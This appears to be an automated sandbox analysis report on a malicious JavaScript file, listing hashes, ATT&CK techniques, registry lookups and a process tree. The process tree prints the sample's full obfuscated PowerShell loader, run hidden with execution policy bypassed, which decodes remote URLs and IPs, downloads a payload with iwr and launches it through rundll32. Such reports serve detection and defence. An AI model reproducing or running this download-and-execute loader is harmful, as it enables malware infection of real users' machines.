fd6447c1e9b59d7114534e32bd988bd00fb674bcecc4c3d958b096bfc06b4aca

General

Target

Sibvkun.js
Size

241KB
MD5

1d6d1cb15fb711583a7e657342949114
SHA1

4f97fa7226a780dd1a83251dfe52cec1bdc3f9ff
SHA256

fd6447c1e9b59d7114534e32bd988bd00fb674bcecc4c3d958b096bfc06b4aca
SHA512

334503fc7f116c350871e6c2185c190b8602f41eaf3bb650bf6bcfcdaaae557b047c2b2fae3b7cf5b114fc3f78229433aa2f72652ae395658f0c30946d405df4
SSDEEP

6144:AI5LBbVZoqY0hM9wJZv9KuoZ/pkn5Txp/k:AI5j2J

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
21	4292	powershell.exe
22	4292	powershell.exe
26	4292	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4292	powershell.exe
4292	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4292	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 5088	4052	wscript.exe	82
PID 4052 wrote to memory of 5088	4052	wscript.exe	82
PID 5088 wrote to memory of 4292	5088	wscript.exe	83
PID 5088 wrote to memory of 4292	5088	wscript.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Sibvkun.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Sibvkun.js" commandoRememorize disulfonic
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand "$ p s e u d o s u c h i a n   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B j A G E A c g B h A G 4 A Z w B p A G Q A c w B H A G U A c g B t A G E A b g B v A H A A a A B v A G I A Z Q A u A G g A b w B s A G k A Z A B h A H k A g I a A B 0 A H Q A c A A 6 A C 8 A L w B l A H E A d Q B p A H A A b w B 0 A G U A b g B 0 A G k A Y Q B s A G k A d A B 5 A F M A a Q B n A G w A d Q B t A C 4 A a Q B u A A = = " ; $ s u b d i v i d i n g   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D I A M A A u A D Q A M w A u A D c A O A A u A D g A O Q A = V N l a A B 0 A H Q A c A A 6 A C 8 A L w A x A D g A N Q A u A D E A N g A 1 A C 4 A N A A z A C 4 A M Q A 2 A D U A " ; $ H e x a m i t i a s i s   =   " c h o l e t e l i n " ; S t a r t - S l e e p   - S e c o n d s   1 3 ; $ U n t h u m p e d   =   " a n i s o d o n t " ; $ B e e k e e p e r T r a b u c o s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D U A O A A u A D I A N Q A 1 A C 4 A M g A x A D M A L g A x A D g A M Q A v A G 0 A a Q B S A C 8 A Q w A 0 A E w A M w B W A D E A T w B M A D g A R w B Q A E c A P a A B 0 A H Q A c A A 6 A C 8 A L w A x A D Q A O Q A u A D E A N Q A 0 A C 4 A M Q A 1 A D g A L g A 5 A D E A L w B Y A G 4 A Z A A v A H Y A d Q B W A G w A U A B 5 A D M A Z Q B 6 A G w A R g A = P a A B 0 A H Q A c A A 6 A C 8 A L w A x A D Y A M g A u A D I A N Q A y A C 4 A M Q A 3 A D I A L g A 1 A D Q A L w A 5 A E c A U Q A 1 A E E A O A A v A D A A a g A 3 A G s A S g B F A G c A b Q B Y A F Y A " ; f o r e a c h   ( $ p u f f b a c k   i n   $ B e e k e e p e r T r a b u c o s   - s p l i t   " P " )   { $ m e t r i c i s i n g   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D I A M w A u A D c A N g A u A D E A M g A 3 A C 4 A N A A 3 A A = = " ; $ C h i c h i s   =   " a A B 0 A H Q A c A B z A D o A L w A v A H A A c w B l A H U A Z A B v A H M A d A B p A G c A b Q B h A H Q A a Q B j A C 4 A Z g B s A G 8 A c g B p A H M A d A A = L a A B 0 A H Q A c A B z A D o A L w A v A D I A M g A x A C 4 A N Q A 3 A C 4 A M Q A y A D M A L g A 4 A D U A L a A B 0 A H Q A c A A 6 A C 8 A L w B Q A H I A b w B 0 A G U A c g B 2 A G k A d A B 5 A C 4 A d Q B z A A = = L a A B 0 A H Q A c A B z A D o A L w A v A H Y A d Q B s A H Q A d Q B y A G k A c w B o A E U A c g B l A G 0 A a Q B 0 A G E A b A A u A G o A b w B i A H U A c g B n A A = = " ; $ a m p u t a t i o n a l D i e r e t i c   =   7 0 5 ; t r y   { $ n o n s i t t i n g E x p e n s i v e l y   =   " O v e r p r e s u m p t u o u s " ; $ S h i v a h s D e l a y e r s   =   1 7 0 ; $ n e v a d a n B e n e l u x   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B o A G 8 A d Q B z A G U A d A B v A H A A R Q B 1 A H I A Y Q B z A G k A Y Q A u A H A A b w B r A G U A c g A = " ; $ P h o t o k i n e s i s F o c a l i s a t i o n   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ p u f f b a c k ) ) ; i w r   $ P h o t o k i n e s i s F o c a l i s a t i o n   - O   C : \ P r o g r a m D a t a \ b i s b e e i t e U n t a b u l a t e d . p e l v i s t e r n a l U n v o i c i n g ; $ O r d e r l e s s N e u r o f i b r i l l a e   =   " a A B 0 A H Q A c A B z A D o A L w A v A D E A N Q A 4 A C 4 A M Q A 0 A D Y A L g A y A D E A N Q A u A D k A M Q A = " ; $ d i h y d r o c u p r i n   =   " p e e w e e p " ; $ T w e e s h t U n l a b o r e d   =   3 0 5 ; i f   ( ( G e t - I t e m   - P a t h   C : \ P r o g r a m D a t a \ b i s b e e i t e U n t a b u l a t e d . p e l v i s t e r n a l U n v o i c i n g ) . L e n g t h   - g e   1 7 6 5 6 4 ) { p o w e r s h e l l   - e n c o d e d c o m m a n d   " c w B 0 A G E A c g B 0 A C A A c g B 1 A G 4 A Z A B s A G w A M w A y A C A A Q w A 6 A F w A U A B y A G 8 A Z w B y A G E A b Q B E A G E A d A B h A F w A Y g B p A H M A Y g B l A G U A a Q B 0 A G U A V Q B u A H Q A Y Q B i A H U A b A B h A H Q A Z Q B k A C 4 A c A B l A G w A d g B p A H M A d A B l A H I A b g B h A G w A V Q B u A H Y A b w B p A G M A a Q B u A G c A L A B E A G w A b A B S A G U A Z w B p A H M A d A B l A H I A U w B l A H I A d g B l A H I A O w B B A G 4 A Z w B 1 A G w A Y Q B y A A = = " ; $ m u s e u m C o p t i c   =   " a A B 0 A H Q A c A B z A D o A L w A v A H o A b w B k A G k A Y Q B j A H M A U g B l A G M A b w B u A G Y A a Q B z A G M A Y Q B 0 A G U A Z A A u A H Q A c g B h A G k A b g B p A G 4 A Z w A = z X z D a A B 0 A H Q A c A B z A D o A L w A v A F U A b g B y A G U A Z Q B s A E Q A Y Q B 1 A G I A a Q B u A G c A b A B 5 A C 4 A Y w B h A G 0 A Z Q B y A G E A z X z D a A B 0 A H Q A c A A 6 A C 8 A L w A x A D c A O A A u A D I A M A A 0 A C 4 A M Q A 1 A D M A L g A x A D k A M Q A = " ; $ i n e q u i g r a n u l a r   =   " o b i t u a r i l y C a n c h a l a g u a " ; b r e a k ; A n g u l a r ; } A n g u l a r ; }   c a t c h   { $ t h a t a w a y E p i c a l   =   " a A B 0 A H Q A c A B z A D o A L w A v A D E A N w A 3 A C 4 A M Q A 2 A D I A L g A x A D U A M g A u A D c A N Q A = t Y g R a A B 0 A H Q A c A B z A D o A L w A v A G M A b w B j A G g A b A B l A G E A d A B l A G Q A U g B l A G Q A c g B h A G Y A d A B z A C 4 A d A B v A H k A c w A = t Y g R a A B 0 A H Q A c A B z A D o A L w A v A D E A M g A z A C 4 A M g A x A D M A L g A y A D M A M Q A u A D U A M A A = " ; } } $ F l o r e a t e d N o n p r o t r u s i o n   =   " a A B 0 A H Q A c A B z A D o A L w A v A E M A Y Q B u A H o A b w B u A G U A d A B 0 A G E A U g B l A H Y A Z Q B y A H M A Z Q B m A H U A b A A u A G M A b w B 1 A G 4 A d A B y A H k A = t R a A B 0 A H Q A c A B z A D o A L w A v A G Q A Z Q B z A G E A b A B p A G 4 A a Q B 6 A G U A L g B j A H o A = t R a A B 0 A H Q A c A A 6 A C 8 A L w B j A H U A b A B l A H Q A c w B H A G E A c g B l A G Y A b w B 3 A G w A L g B i A G U A Z Q B y A A = = = t R a A B 0 A H Q A c A B z A D o A L w A v A D I A M w A 5 A C 4 A M g A 1 A D A A L g A x A D Y A O A A u A D E A N w A 2 A A = = " ; A n g u l a r ; "
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4rt4y0d.v4a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4292-133-0x0000020BF5450000-0x0000020BF5460000-memory.dmp

Filesize
64KB

Download
memory/4292-143-0x0000020BDD1A0000-0x0000020BDD1C2000-memory.dmp

Filesize
136KB

Download
memory/4292-144-0x0000020BF5450000-0x0000020BF5460000-memory.dmp

Filesize
64KB

Download
memory/4292-145-0x0000020BF5450000-0x0000020BF5460000-memory.dmp

Filesize
64KB

Download
memory/4292-146-0x0000020BF5450000-0x0000020BF5460000-memory.dmp

Filesize
64KB

Download
memory/4292-147-0x0000020BF5450000-0x0000020BF5460000-memory.dmp

Filesize
64KB

Download
memory/4292-148-0x0000020BF5450000-0x0000020BF5460000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing